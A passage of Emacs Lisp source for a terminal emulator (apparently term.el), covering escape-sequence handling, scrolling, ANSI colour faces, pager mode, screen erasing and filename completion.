(?M ;; Scroll reversed (terminfo: ri, ECMA-48
;; "Reverse Linefeed").
(if (or (< (term-current-row) term-scroll-start)
(>= (1- (term-current-row))
term-scroll-start))
;; Scrolling up will not move outside
;; the scroll region.
(term-down -1)
;; Scrolling the scroll region is needed.
(term-down -1 t)))
(?7 ;; Save cursor (terminfo: sc, not in [ECMA-48],
;; [ctlseqs] has it as "DECSC").
(term-handle-deferred-scroll)
(setq term-saved-cursor
(list (term-current-row)
(term-horizontal-column)
term-ansi-current-bg-color
term-ansi-current-bold
term-ansi-current-color
term-ansi-current-invisible
term-ansi-current-reverse
term-ansi-current-underline
term-current-face)))
(?8 ;; Restore cursor (terminfo: rc, [ctlseqs]
;; "DECRC").
(when term-saved-cursor
(term-goto (nth 0 term-saved-cursor)
(nth 1 term-saved-cursor))
(setq term-ansi-current-bg-color
(nth 2 term-saved-cursor)
term-ansi-current-bold
(nth 3 term-saved-cursor)
term-ansi-current-color
(nth 4 term-saved-cursor)
term-ansi-current-invisible
(nth 5 term-saved-cursor)
term-ansi-current-reverse
(nth 6 term-saved-cursor)
term-ansi-current-underline
(nth 7 term-saved-cursor)
term-current-face
(nth 8 term-saved-cursor))))
(?c ;; \Ec - Reset (terminfo: rs1, [ctlseqs] "RIS").
;; This is used by the "clear" program.
(term-reset-terminal))
(?A ;; An \eAnSiT sequence (Emacs specific).
(term-handle-ansi-terminal-messages
(substring str i ctl-end)))))
;; Ignore NUL, Shift Out, Shift In.
((or ?\0 #xE #xF 'nil) nil))
;; Leave line-wrapping state if point was moved.
(unless (eq term-do-line-wrapping (point))
(setq term-do-line-wrapping nil))
(if (term-handling-pager)
(progn
;; Finish stuff to get ready to handle PAGER.
(if (> (% (current-column) term-width) 0)
(setq term-terminal-undecoded-bytes
(substring str i))
;; We're at column 0. Goto end of buffer; to compensate,
;; prepend a ?\r for later. This looks more consistent.
(if (zerop i)
(setq term-terminal-undecoded-bytes
(concat "\r" (substring str i)))
(setq term-terminal-undecoded-bytes (substring str (1- i)))
(aset term-terminal-undecoded-bytes 0 ?\r))
(goto-char (point-max)))
(make-local-variable 'term-pager-old-filter)
(setq term-pager-old-filter (process-filter proc))
(set-process-filter proc term-pager-filter)
(setq i str-length))
(setq i ctl-end)))))
(when (>= (term-current-row) term-height)
(term-handle-deferred-scroll))
(set-marker (process-mark proc) (point))
(when save-point
(goto-char save-point)
(set-marker save-point nil))
;; Check for a pending filename-and-line number to display.
;; We do this before scrolling, because we might create a new window.
(when (and term-pending-frame
(eq (window-buffer selected) (current-buffer)))
(term-display-line (car term-pending-frame)
(cdr term-pending-frame))
(setq term-pending-frame nil))
;; Scroll each window displaying the buffer but (by default)
;; only if the point matches the process-mark we started with.
(setq win selected)
;; Avoid infinite loop in strange case where minibuffer window
;; is selected but not active.
(while (window-minibuffer-p win)
(setq win (next-window win nil t)))
(setq last-win win)
(while (progn
(setq win (next-window win nil t))
(when (eq (window-buffer win) (process-buffer proc))
(let ((scroll term-scroll-to-bottom-on-output))
(select-window win)
(when (or (= (point) save-marker)
(eq scroll t) (eq scroll 'all)
;; Maybe user wants point to jump to the end.
(and (eq selected win)
(or (eq scroll 'this) (not save-point)))
(and (eq scroll 'others)
(not (eq selected win))))
(goto-char term-home-marker)
(recenter 0)
(goto-char (process-mark proc))
(if (not (pos-visible-in-window-p (point) win))
(recenter -1)))
;; Optionally scroll so that the text
;; ends at the bottom of the window.
(when (and term-scroll-show-maximum-output
(>= (point) (process-mark proc)))
(save-excursion
(goto-char (point-max))
(recenter -1)))))
(not (eq win last-win))))
;; Stolen from comint.el and adapted -mm
(when (> term-buffer-maximum-size 0)
(save-excursion
(goto-char (process-mark (get-buffer-process (current-buffer))))
(forward-line (- term-buffer-maximum-size))
(beginning-of-line)
(delete-region (point-min) (point))))
(set-marker save-marker nil)))
;; This might be expensive, but we need it to handle something
;; like `sleep 5 | less -c' in more-or-less real time.
(when (get-buffer-window (current-buffer))
(redisplay))))
(defvar-local term-goto-process-mark t
"Whether to reset point to the current process mark after this command.
Set in `pre-command-hook' in char mode by `term-set-goto-process-mark'.")
(defun term-set-goto-process-mark ()
"Sets `term-goto-process-mark'.
Always set to nil if `term-char-mode-point-at-process-mark' is nil.
Called as a buffer-local `pre-command-hook' function in
`term-char-mode' so that when point is equal to the process mark
at the pre-command stage, we know to restore point to the process
mark at the post-command stage.
See also `term-goto-process-mark-maybe'."
(setq term-goto-process-mark
(and term-char-mode-point-at-process-mark
(eq (point) (marker-position (term-process-mark))))))
(defun term-goto-process-mark-maybe ()
"Move point to the term buffer's process mark upon keyboard input.
Called as a buffer-local `post-command-hook' function in
`term-char-mode' to prevent commands from putting the buffer into
an inconsistent state by unexpectedly moving point.
Mouse events are ignored so that mouse selection is unimpeded.
Only acts when the pre-command position of point was equal to the
process mark, and the `term-char-mode-point-at-process-mark'
option is enabled. See `term-set-goto-process-mark'."
(when term-goto-process-mark
(unless (mouse-event-p last-command-event)
(goto-char (term-process-mark)))))
(defun term-process-mark ()
"The current `process-mark' for the term buffer process."
(process-mark (get-buffer-process (current-buffer))))
(defun term-handle-deferred-scroll ()
(let ((count (- (term-current-row) term-height)))
(when (>= count 0)
(save-excursion
(goto-char term-home-marker)
(term-vertical-motion (1+ count))
(set-marker term-home-marker (point))
(setq term-current-row (1- term-height))))))
(defun term-reset-terminal ()
"Reset the terminal, delete all the content and set the face to the default one."
(erase-buffer)
(term-ansi-reset)
(setq term-current-row 0)
(setq term-current-column 1)
(setq term-scroll-start 0)
(setq term-scroll-end term-height)
(setq term-insert-mode nil)
;; FIXME: No idea why this is here, it looks wrong. --Stef
(setq term-ansi-face-already-done nil))
;; New function to deal with ansi colorized output, as you can see you can
;; have any bold/underline/fg/bg/reverse combination. -mm
(defun term-handle-colors-array (parameter)
(cond
;; Bold (terminfo: bold)
((eq parameter 1)
(setq term-ansi-current-bold t))
;; Underline
((eq parameter 4)
(setq term-ansi-current-underline t))
;; Blink (unsupported by Emacs), will be translated to bold.
;; This may change in the future though.
((eq parameter 5)
(setq term-ansi-current-bold t))
;; Reverse (terminfo: smso)
((eq parameter 7)
(setq term-ansi-current-reverse t))
;; Invisible
((eq parameter 8)
(setq term-ansi-current-invisible t))
;; Reset underline (terminfo: rmul)
((eq parameter 24)
(setq term-ansi-current-underline nil))
;; Reset reverse (terminfo: rmso)
((eq parameter 27)
(setq term-ansi-current-reverse nil))
;; Foreground
((and (>= parameter 30) (<= parameter 37))
(setq term-ansi-current-color (- parameter 29)))
;; Reset foreground
((eq parameter 39)
(setq term-ansi-current-color 0))
;; Background
((and (>= parameter 40) (<= parameter 47))
(setq term-ansi-current-bg-color (- parameter 39)))
;; Reset background
((eq parameter 49)
(setq term-ansi-current-bg-color 0))
;; 0 (Reset) or unknown (reset anyway)
(t
(term-ansi-reset)))
;; (message "Debug: U-%d R-%d B-%d I-%d D-%d F-%d B-%d"
;; term-ansi-current-underline
;; term-ansi-current-reverse
;; term-ansi-current-bold
;; term-ansi-current-invisible
;; term-ansi-face-already-done
;; term-ansi-current-color
;; term-ansi-current-bg-color)
(unless term-ansi-face-already-done
(if term-ansi-current-invisible
(let ((color
(if term-ansi-current-reverse
(face-foreground
(elt ansi-term-color-vector term-ansi-current-color)
nil 'default)
(face-background
(elt ansi-term-color-vector term-ansi-current-bg-color)
nil 'default))))
(setq term-current-face
(list :background color
:foreground color))
) ;; No need to bother with anything else if it's invisible.
(setq term-current-face
(list :foreground
(face-foreground
(elt ansi-term-color-vector term-ansi-current-color)
nil 'default)
:background
(face-background
(elt ansi-term-color-vector term-ansi-current-bg-color)
nil 'default)
:inverse-video term-ansi-current-reverse))
(when term-ansi-current-bold
(setq term-current-face
`(,term-current-face :inherit term-bold)))
(when term-ansi-current-underline
(setq term-current-face
`(,term-current-face :inherit term-underline)))))
;; (message "Debug %S" term-current-face)
;; FIXME: shouldn't we set term-ansi-face-already-done to t here? --Stef
(setq term-ansi-face-already-done nil))
;; Handle a character assuming (eq terminal-state 2) -
;; i.e. we have previously seen Escape followed by ?[.
(defun term-handle-ansi-escape (proc params char)
(cond
((or (eq char ?H) ;; cursor motion (terminfo: cup,home)
;; (eq char ?f) ;; xterm seems to handle this sequence too, not
;; needed for now
)
(term-goto
(1- (max 1 (min (or (nth 0 params) 0) term-height)))
(1- (max 1 (min (or (nth 1 params) 0) term-width)))))
;; \E[A - cursor up (terminfo: cuu, cuu1)
((eq char ?A)
(term-handle-deferred-scroll)
(let ((tcr (term-current-row))
(scroll-amount (car params)))
(term-down
(if (< (- tcr scroll-amount) term-scroll-start)
;; If the amount to move is before scroll start, move
;; to scroll start.
(- term-scroll-start tcr)
(if (>= scroll-amount tcr)
(- tcr)
(- (max 1 scroll-amount))))
t)))
;; \E[B - cursor down (terminfo: cud)
((eq char ?B)
(let ((tcr (term-current-row))
(scroll-amount (car params)))
(unless (= tcr (1- term-scroll-end))
(term-down
(if (> (+ tcr scroll-amount) term-scroll-end)
(- term-scroll-end 1 tcr)
(max 1 scroll-amount))
t))))
;; \E[C - cursor right (terminfo: cuf, cuf1)
((eq char ?C)
(term-move-columns
(max 1
(if (>= (+ (car params) (term-current-column)) term-width)
(- term-width (term-current-column) 1)
(car params)))))
;; \E[D - cursor left (terminfo: cub)
((eq char ?D)
(term-move-columns (- (max 1 (car params)))))
;; \E[G - cursor motion to absolute column (terminfo: hpa)
((eq char ?G)
(term-move-columns (- (max 0 (min term-width (car params)))
(term-current-column))))
;; \E[J - clear to end of screen (terminfo: ed, clear)
((eq char ?J)
(term-erase-in-display (car params)))
;; \E[K - clear to end of line (terminfo: el, el1)
((eq char ?K)
(term-erase-in-line (car params)))
;; \E[L - insert lines (terminfo: il, il1)
((eq char ?L)
(term-insert-lines (max 1 (car params))))
;; \E[M - delete lines (terminfo: dl, dl1)
((eq char ?M)
(term-delete-lines (max 1 (car params))))
;; \E[P - delete chars (terminfo: dch, dch1)
((eq char ?P)
(term-delete-chars (max 1 (car params))))
;; \E[@ - insert spaces (terminfo: ich)
((eq char ?@)
(term-insert-spaces (max 1 (car params))))
;; \E[?h - DEC Private Mode Set
((eq char ?h)
(cond ((eq (car params) 4) ;; (terminfo: smir)
(setq term-insert-mode t))
;; ((eq (car params) 47) ;; (terminfo: smcup)
;; (term-switch-to-alternate-sub-buffer t))
))
;; \E[?l - DEC Private Mode Reset
((eq char ?l)
(cond ((eq (car params) 4) ;; (terminfo: rmir)
(setq term-insert-mode nil))
;; ((eq (car params) 47) ;; (terminfo: rmcup)
;; (term-switch-to-alternate-sub-buffer nil))
))
;; Modified to allow ansi coloring -mm
;; \E[m - Set/reset modes, set bg/fg
;;(terminfo: smso,rmso,smul,rmul,rev,bold,sgr0,invis,op,setab,setaf)
((eq char ?m)
(mapc #'term-handle-colors-array params))
;; \E[6n - Report cursor position (terminfo: u7)
((eq char ?n)
(term-handle-deferred-scroll)
(process-send-string proc
;; (terminfo: u6)
(format "\e[%s;%sR"
(1+ (term-current-row))
(1+ (term-horizontal-column)))))
;; \E[r - Set scrolling region (terminfo: csr)
((eq char ?r)
(term-set-scroll-region
(1- (or (nth 0 params) 0))
(1- (or (nth 1 params) 0))))
(t)))
(defun term-set-scroll-region (top bottom)
"Set scrolling region.
TOP is the top-most line (inclusive) of the new scrolling region,
while BOTTOM is the line following the new scrolling region (e.g. exclusive).
The top-most line is line 0."
(setq term-scroll-start
(if (or (< top 0) (>= top term-height))
0
top))
(setq term-scroll-end
(if (or (<= bottom term-scroll-start) (> bottom term-height))
term-height
bottom))
(setq term-scroll-with-delete
(or (term-using-alternate-sub-buffer)
(not (and (= term-scroll-start 0)
(= term-scroll-end term-height)))))
(term-move-columns (- (term-current-column)))
(term-goto 0 0))
;; (defun term-switch-to-alternate-sub-buffer (set)
;; ;; If asked to switch to (from) the alternate sub-buffer, and already (not)
;; ;; using it, do nothing. This test is needed for some programs (including
;; ;; Emacs) that emit the ti termcap string twice, for unknown reason.
;; (term-handle-deferred-scroll)
;; (if (eq set (not (term-using-alternate-sub-buffer)))
;; (let ((row (term-current-row))
;; (col (term-horizontal-column)))
;; (cond (set
;; (goto-char (point-max))
;; (if (not (eq (preceding-char) ?\n))
;; (term-insert-char ?\n 1))
;; (setq term-scroll-with-delete t)
;; (setq term-saved-home-marker (copy-marker term-home-marker))
;; (set-marker term-home-marker (point)))
;; (t
;; (setq term-scroll-with-delete
;; (not (and (= term-scroll-start 0)
;; (= term-scroll-end term-height))))
;; (set-marker term-home-marker term-saved-home-marker)
;; (set-marker term-saved-home-marker nil)
;; (setq term-saved-home-marker nil)
;; (goto-char term-home-marker)))
;; (setq term-current-column nil)
;; (setq term-current-row 0)
;; (term-goto row col))))
;; Default value for the symbol term-command-hook.
(defun term-command-hook (string)
(cond ((equal string "")
t)
((= (aref string 0) ?\032)
;; gdb (when invoked with -fullname) prints:
;; \032\032FULLFILENAME:LINENUMBER:CHARPOS:BEG_OR_MIDDLE:PC\n
(let* ((first-colon (string-match ":" string 1))
(second-colon
(string-match ":" string (1+ first-colon)))
(filename (substring string 1 first-colon))
(fileline (string-to-number
(substring string (1+ first-colon) second-colon))))
(setq term-pending-frame (cons filename fileline))))
((= (aref string 0) ?/)
(cd (substring string 1)))
;; Allowing the inferior to call functions in Emacs is
;; probably too big a security hole.
;; ((= (aref string 0) ?!)
;; (eval (car (read-from-string string 1))))
(t)));; Otherwise ignore it
;; Make sure the file named TRUE-FILE is in a buffer that appears on the screen
;; and that its line LINE is visible.
;; Put the overlay-arrow on the line LINE in that buffer.
;; This is mainly used by gdb.
(defun term-display-line (true-file line)
(term-display-buffer-line (find-file-noselect true-file) line))
(defun term-display-buffer-line (buffer line)
(let* ((window (display-buffer buffer t))
(pos))
(with-current-buffer buffer
(save-restriction
(widen)
(goto-char (point-min))
(forward-line (1- line))
(setq pos (point))
(setq overlay-arrow-string "=>")
(or overlay-arrow-position
(setq overlay-arrow-position (make-marker)))
(set-marker overlay-arrow-position (point) (current-buffer)))
(cond ((or (< pos (point-min)) (> pos (point-max)))
(widen)
(goto-char pos))))
(set-window-point window overlay-arrow-position)))
;; The buffer-local marker term-home-marker defines the "home position"
;; (in terms of cursor motion). However, we move the term-home-marker
;; "down" as needed so that is no more that a window-full above (point-max).
(defun term-goto-home ()
(term-handle-deferred-scroll)
(goto-char term-home-marker)
(setq term-current-row 0)
(setq term-current-column (current-column))
(setq term-start-line-column term-current-column))
(defun term-goto (row col)
(term-handle-deferred-scroll)
(cond ((and term-current-row (>= row term-current-row))
;; I assume this is a worthwhile optimization.
(term-vertical-motion 0)
(setq term-current-column term-start-line-column)
(setq row (- row term-current-row)))
(t
(term-goto-home)))
(term-down row)
(term-move-columns col))
;; The page is full, so enter "pager" mode, and wait for input.
(defun term-process-pager ()
;; (let ((process (get-buffer-process (current-buffer))))
;; (stop-process process))
(setq term-pager-old-local-map (current-local-map))
(use-local-map term-pager-break-map)
(easy-menu-add term-terminal-menu)
(easy-menu-add term-signals-menu)
(easy-menu-add term-pager-menu)
(make-local-variable 'term-old-mode-line-format)
(setq term-old-mode-line-format mode-line-format)
(setq mode-line-format
(list "-- **MORE** "
mode-line-buffer-identification
" [Type ? for help] "
"%-"))
(force-mode-line-update))
(defun term-pager-line (lines)
(interactive "p")
(let* ((moved (vertical-motion (1+ lines)))
(deficit (- lines moved)))
(when (> moved lines)
(backward-char))
(cond ((<= deficit 0) ;; OK, had enough in the buffer for request.
(recenter (1- term-height)))
((term-pager-continue deficit)))))
(defun term-pager-page (arg)
"Proceed past the **MORE** break, allowing the next page of output to appear."
(interactive "p")
(term-pager-line (* arg term-height)))
;; Pager mode command to go to beginning of buffer.
(defun term-pager-bob ()
(interactive)
(goto-char (point-min))
(when (= (vertical-motion term-height) term-height)
(backward-char))
(recenter (1- term-height)))
;; Pager mode command to go to end of buffer.
(defun term-pager-eob ()
(interactive)
(goto-char term-home-marker)
(recenter 0)
(goto-char (process-mark (get-buffer-process (current-buffer)))))
(defun term-pager-back-line (lines)
(interactive "p")
(vertical-motion (- 1 lines))
(if (not (bobp))
(backward-char)
(beep)
;; Move cursor to end of window.
(vertical-motion term-height)
(backward-char))
(recenter (1- term-height)))
(defun term-pager-back-page (arg)
(interactive "p")
(term-pager-back-line (* arg term-height)))
(defun term-pager-discard ()
(interactive)
(setq term-terminal-undecoded-bytes "")
(interrupt-process nil t)
(term-pager-continue term-height))
;; Disable pager processing.
;; Only callable while in pager mode. (Contrast term-disable-pager.)
(defun term-pager-disable ()
(interactive)
(if (term-handling-pager)
(term-pager-continue nil)
(setq term-pager-count nil))
(term-update-mode-line))
;; Enable pager processing.
(defun term-pager-enable ()
(interactive)
(or (term-pager-enabled)
(setq term-pager-count 0)) ;; Or maybe set to (term-current-row) ??
(term-update-mode-line))
(defun term-pager-toggle ()
(interactive)
(if (term-pager-enabled) (term-pager-disable) (term-pager-enable)))
(defun term-pager-help ()
"Provide help on commands available in a terminal-emulator **MORE** break."
(interactive)
(message "Terminal-emulator pager break help...")
(sit-for 0)
(with-electric-help
(function (lambda ()
(princ (substitute-command-keys
"\\<term-pager-break-map>\
Terminal-emulator MORE break.\n\
Type one of the following keys:\n\n\
\\[term-pager-page]\t\tMove forward one page.\n\
\\[term-pager-line]\t\tMove forward one line.\n\
\\[universal-argument] N \\[term-pager-page]\tMove N pages forward.\n\
\\[universal-argument] N \\[term-pager-line]\tMove N lines forward.\n\
\\[universal-argument] N \\[term-pager-back-line]\tMove N lines back.\n\
\\[universal-argument] N \\[term-pager-back-page]\t\tMove N pages back.\n\
\\[term-pager-bob]\t\tMove to the beginning of the buffer.\n\
\\[term-pager-eob]\t\tMove to the end of the buffer.\n\
\\[term-pager-discard]\t\tKill pending output and kill process.\n\
\\[term-pager-disable]\t\tDisable PAGER handling.\n\n\
\\{term-pager-break-map}\n\
Any other key is passed through to the program
running under the terminal emulator and disables pager processing until
all pending output has been dealt with."))
nil))))
(defun term-pager-continue (new-count)
(let ((process (get-buffer-process (current-buffer))))
(use-local-map term-pager-old-local-map)
(setq term-pager-old-local-map nil)
(setq mode-line-format term-old-mode-line-format)
(force-mode-line-update)
(setq term-pager-count new-count)
(set-process-filter process term-pager-old-filter)
(funcall term-pager-old-filter process "")
(continue-process process)))
;; Make sure there are DOWN blank lines below the current one.
;; Return 0 if we're unable (because of PAGER handling), else return DOWN.
(defun term-handle-scroll (down)
(let ((scroll-needed
(- (+ (term-current-row) down)
(if (< down 0) term-scroll-start term-scroll-end))))
(when (or (and (< down 0) (< scroll-needed 0))
(and (> down 0) (> scroll-needed 0)))
(let ((save-point (point-marker)) (save-top))
(goto-char term-home-marker)
(cond (term-scroll-with-delete
(if (< down 0)
(progn
;; Delete scroll-needed lines at term-scroll-end,
;; then insert scroll-needed lines.
(term-vertical-motion term-scroll-end)
(end-of-line)
(setq save-top (point))
(term-vertical-motion scroll-needed)
(end-of-line)
(delete-region save-top (point))
(goto-char save-point)
(setq down (- scroll-needed down))
(term-vertical-motion down))
;; Delete scroll-needed lines at term-scroll-start.
(term-vertical-motion term-scroll-start)
(setq save-top (point))
(term-vertical-motion scroll-needed)
(delete-region save-top (point))
(goto-char save-point)
(term-vertical-motion down)
(term-adjust-current-row-cache (- scroll-needed)))
(setq term-current-column nil)
(term-insert-char ?\n (abs scroll-needed)))
((and (numberp term-pager-count)
(< (setq term-pager-count (- term-pager-count down))
0))
(setq down 0)
(term-process-pager))
(t
(term-adjust-current-row-cache (- scroll-needed))
(term-vertical-motion scroll-needed)
(set-marker term-home-marker (point))))
(goto-char save-point)
(set-marker save-point nil))))
down)
(defun term-down (down &optional check-for-scroll)
"Move down DOWN screen lines vertically."
(let ((start-column (term-horizontal-column)))
(when (and check-for-scroll (or term-scroll-with-delete term-pager-count))
(setq down (term-handle-scroll down)))
(unless (and (= term-current-row 0) (< down 0))
(term-adjust-current-row-cache down)
(when (or (/= (point) (point-max)) (< down 0))
(setq down (- down (term-vertical-motion down)))))
(cond ((>= down 0)
;; Extend buffer with extra blank lines if needed.
(term-insert-char ?\n down)
(setq term-current-column 0)
(setq term-start-line-column 0))
(t
(when (= term-current-row 0)
;; Insert lines if at the beginning.
(save-excursion (term-insert-char ?\n (- down)))
(save-excursion
(let (p)
;; Delete lines from the end.
(forward-line term-height)
(setq p (point))
(forward-line (- down))
(delete-region p (point)))))
(setq term-current-column 0)
(setq term-start-line-column (current-column))))
(when start-column
(term-move-columns start-column))))
;; Assuming point is at the beginning of a screen line,
;; if the line above point wraps around, add a ?\n to undo the wrapping.
;; FIXME: Probably should be called more than it is.
(defun term-unwrap-line ()
(when (not (bolp)) (insert-before-markers ?\n)))
(defun term-erase-in-line (kind)
(when (= kind 1) ;; erase left of point
(let ((cols (term-horizontal-column)) (saved-point (point)))
(term-vertical-motion 0)
(delete-region (point) saved-point)
(term-insert-char ? cols)))
(when (not (eq kind 1)) ;; erase right of point
(let ((saved-point (point))
(wrapped (and (zerop (term-horizontal-column))
(not (zerop (term-current-column))))))
(term-vertical-motion 1)
(delete-region saved-point (point))
;; wrapped is true if we're at the beginning of screen line,
;; but not a buffer line. If we delete the current screen line
;; that will make the previous line no longer wrap, and (because
;; of the way Emacs display works) point will be at the end of
;; the previous screen line rather then the beginning of the
;; current one. To avoid that, we make sure that current line
;; contain a space, to force the previous line to continue to wrap.
;; We could do this always, but it seems preferable to not add the
;; extra space when wrapped is false.
(when wrapped
(insert ? ))
(insert ?\n)
(put-text-property saved-point (point) 'font-lock-face 'default)
(goto-char saved-point))))
(defun term-erase-in-display (kind)
"Erase (that is blank out) part of the window.
If KIND is 0, erase from (point) to (point-max);
if KIND is 1, erase from home to point; else erase from home to point-max."
(term-handle-deferred-scroll)
(cond ((eq kind 0)
(let ((need-unwrap (bolp)))
(delete-region (point) (point-max))
(when need-unwrap (term-unwrap-line))))
((let ((row (term-current-row))
(col (term-horizontal-column))
(start-region term-home-marker)
(end-region (if (eq kind 1) (point) (point-max))))
(delete-region start-region end-region)
(term-unwrap-line)
(when (eq kind 1)
(term-insert-char ?\n row))
(setq term-current-column nil)
(setq term-current-row nil)
(term-goto row col)))))
(defun term-delete-chars (count)
(let ((save-point (point)))
(term-vertical-motion 1)
(term-unwrap-line)
(goto-char save-point)
(move-to-column (+ (term-current-column) count) t)
(delete-region save-point (point))))
;; Insert COUNT spaces after point, but do not change any of
;; following screen lines. Hence we may have to delete characters
;; at the end of this screen line to make room.
(defun term-insert-spaces (count)
(let ((save-point (point)) (save-eol) (pnt-at-eol))
(term-vertical-motion 1)
(when (bolp)
(backward-char))
(setq save-eol (point)
pnt-at-eol (line-end-position))
(move-to-column (+ (term-start-line-column) (- term-width count)) t)
;; If move-to-column extends the current line it will use the face
;; from the last character on the line, set the face for the chars
;; to default.
(when (>= (point) pnt-at-eol)
(put-text-property pnt-at-eol (point) 'font-lock-face 'default))
(when (> save-eol (point))
(delete-region (point) save-eol))
(goto-char save-point)
(term-insert-char ? count)
(goto-char save-point)))
(defun term-delete-lines (lines)
(let ((start (point))
(save-current-column term-current-column)
(save-start-line-column term-start-line-column)
(save-current-row (term-current-row)))
;; The number of inserted lines shouldn't exceed the scroll region end.
;; The `term-scroll-end' line is part of the scrolling region, so
;; we need to go one line past it in order to ensure correct
;; scrolling.
(when (> (+ save-current-row lines) (1+ term-scroll-end))
(setq lines (- lines (- (+ save-current-row lines) (1+ term-scroll-end)))))
(term-down lines)
(delete-region start (point))
(term-down (- (1+ term-scroll-end) save-current-row lines))
(term-insert-char ?\n lines)
(setq term-current-column save-current-column)
(setq term-start-line-column save-start-line-column)
(setq term-current-row save-current-row)
(goto-char start)))
(defun term-insert-lines (lines)
(let ((start (point))
(start-deleted)
(save-current-column term-current-column)
(save-start-line-column term-start-line-column)
(save-current-row (term-current-row)))
;; Inserting lines should take into account the scroll region.
;; The `term-scroll-end' line is part of the scrolling region, so
;; we need to go one line past it in order to ensure correct
;; scrolling.
(if (< save-current-row term-scroll-start)
;; If point is before scroll start,
(progn
(setq lines (- lines (- term-scroll-start save-current-row)))
(term-down (- term-scroll-start save-current-row))
(setq start (point)))
;; The number of inserted lines shouldn't exceed the scroll region end.
(when (> (+ save-current-row lines) (1+ term-scroll-end))
(setq lines (- lines (- (+ save-current-row lines)(1+ term-scroll-end)))))
(term-down (- (1+ term-scroll-end) save-current-row lines)))
(setq start-deleted (point))
(term-down lines)
(delete-region start-deleted (point))
(goto-char start)
(setq term-current-column save-current-column)
(setq term-start-line-column save-start-line-column)
(setq term-current-row save-current-row)
(term-insert-char ?\n lines)
(goto-char start)))
(defun term-start-output-log (name)
"Record raw inferior process output in a buffer."
(interactive (list (if term-log-buffer
nil
(read-buffer "Record output in buffer: "
(format "%s output-log"
(buffer-name (current-buffer)))
nil))))
(if (or (null name) (equal name ""))
(progn (setq term-log-buffer nil)
(message "Output logging off."))
(if (get-buffer name)
nil
(with-current-buffer (get-buffer-create name)
(fundamental-mode)
(buffer-disable-undo (current-buffer))
(erase-buffer)))
(setq term-log-buffer (get-buffer name))
(message "Recording terminal emulator output into buffer \"%s\""
(buffer-name term-log-buffer))))
(defun term-stop-output-log ()
"Discontinue raw inferior process logging."
(interactive)
(term-start-output-log nil))
(defun term-show-maximum-output ()
"Put the end of the buffer at the bottom of the window."
(interactive)
(goto-char (point-max))
(recenter -1))
;;; Do the user's customization...
(defvar term-load-hook nil
"This hook is run when term is loaded in.
This is a good place to put keybindings.")
(run-hooks 'term-load-hook)
;;; Filename/command/history completion in a buffer
;; ===========================================================================
;; Useful completion functions, courtesy of the Ergo group.
;; Six commands:
;; term-dynamic-complete Complete or expand command, filename,
;; history at point.
;; term-dynamic-complete-filename Complete filename at point.
;; term-dynamic-list-filename-completions List completions in help buffer.
;; term-replace-by-expanded-filename Expand and complete filename at point;
;; replace with expanded/completed name.
;; These are not installed in the term-mode keymap. But they are
;; available for people who want them. Shell-mode installs them:
;; (define-key shell-mode-map "\t" 'term-dynamic-complete)
;; (define-key shell-mode-map "\M-?"
;; 'term-dynamic-list-filename-completions)))
;;
;; Commands like this are fine things to put in load hooks if you
;; want them present in specific modes.
(defcustom term-completion-autolist nil
"If non-nil, automatically list possibilities on partial completion.
This mirrors the optional behavior of tcsh."
:group 'term
:type 'boolean)
(defcustom term-completion-addsuffix t
"If non-nil, add a `/' to completed directories, ` ' to file names.
If a cons pair, it should be of the form (DIRSUFFIX . FILESUFFIX) where
DIRSUFFIX and FILESUFFIX are strings added on unambiguous or exact
completion. This mirrors the optional behavior of tcsh."
:group 'term
:type '(choice (const :tag "No suffix" nil)
(cons (string :tag "dirsuffix") (string :tag "filesuffix"))
(other :tag "Suffix" t)))
(defcustom term-completion-recexact nil
"If non-nil, use shortest completion if characters cannot be added.
This mirrors the optional behavior of tcsh.
A non-nil value is useful if `term-completion-autolist' is non-nil too."
:group 'term
:type 'boolean)
(defcustom term-completion-fignore nil
"List of suffixes to be disregarded during file completion.
This mirrors the optional behavior of bash and tcsh.
Note that this applies to `term-dynamic-complete-filename' only."
:group 'term
:type '(choice (const nil)
(repeat :tag "List of suffixes" string)))
(defvar term-file-name-prefix ""
"Prefix prepended to absolute file names taken from process input.
This is used by term's and shell's completion functions, and by shell's
directory tracking functions.")
(defun term-directory (directory)
;; Return expanded DIRECTORY, with `term-file-name-prefix' if absolute.
(expand-file-name (if (file-name-absolute-p directory)
(concat term-file-name-prefix directory)
directory)))
(defun term-word (word-chars)
"Return the word of WORD-CHARS at point, or nil if none is found.
Word constituents are considered to be those in WORD-CHARS, which is like the
inside of a \"[...]\" (see `skip-chars-forward')."
(save-excursion
(let ((limit (point))
(word (concat "[" word-chars "]"))
(non-word (concat "[^" word-chars "]")))
(when (re-search-backward non-word nil 'move)
(forward-char 1))
;; Anchor the search forwards.
(if (or (eolp) (looking-at non-word))
nil
(re-search-forward (concat word "+") limit)
(buffer-substring (match-beginning 0) (match-end 0))))))
(defun term-match-partial-filename ()
"Return the filename at point, or nil if none is found.
Environment variables are substituted. See `term-word'."
(let ((filename (term-word "~/A-Za-z0-9+@:_.$#,={}-")))
(and filename (substitute-in-file-name filename))))
(defun term-dynamic-complete ()
"Dynamically perform completion at point.
Calls the functions in `term-dynamic-complete-functions' to perform
completion until a function returns non-nil, at which point completion is
assumed to have occurred."
(interactive)
(let ((functions term-dynamic-complete-functions))
(while (and functions (null (funcall (car functions))))
(setq functions (cdr functions)))))
(defun term-dynamic-complete-filename ()
"Dynamically complete the filename at point.
Completes if after a filename. See `term-match-partial-filename' and
`term-dynamic-complete-as-filename'.
This function is similar to `term-replace-by-expanded-filename', except that
it won't change parts of the filename already entered in the buffer; it just
adds completion characters to the end of the filename. A completions listing
may be shown in a help buffer if completion is ambiguous.
Completion is dependent on the value of `term-completion-addsuffix',
`term-completion-recexact' and `term-completion-fignore', and the timing of
completions listing is dependent on the value of `term-completion-autolist'.
Returns t if successful."
(interactive)
(when (term-match-partial-filename)
(prog2 (or (eq (selected-window) (minibuffer-window))
(message "Completing file name..."))
(term-dynamic-complete-as-filename))))
(defun term-dynamic-complete-as-filename ()
"Dynamically complete at point as a filename.
See `term-dynamic-complete-filename'. Returns t if successful."
(let* ((completion-ignore-case nil)
(completion-ignored-extensions term-completion-fignore)
(success t)
(dirsuffix (cond ((not term-completion-addsuffix) "")
((not (consp term-completion-addsuffix)) "/")
(t (car term-completion-addsuffix))))
(filesuffix (cond ((not term-completion-addsuffix) "")
((not (consp term-completion-addsuffix)) " ")
(t (cdr term-completion-addsuffix))))
(filename (or (term-match-partial-filename) ""))
(pathdir (file-name-directory filename))
(pathnondir (file-name-nondirectory filename))
(directory (if pathdir (term-directory pathdir) default-directory))
(completion (file-name-completion pathnondir directory))
(mini-flag (eq (selected-window) (minibuffer-window))))
(cond ((null completion)
(message "No completions of %s" filename)
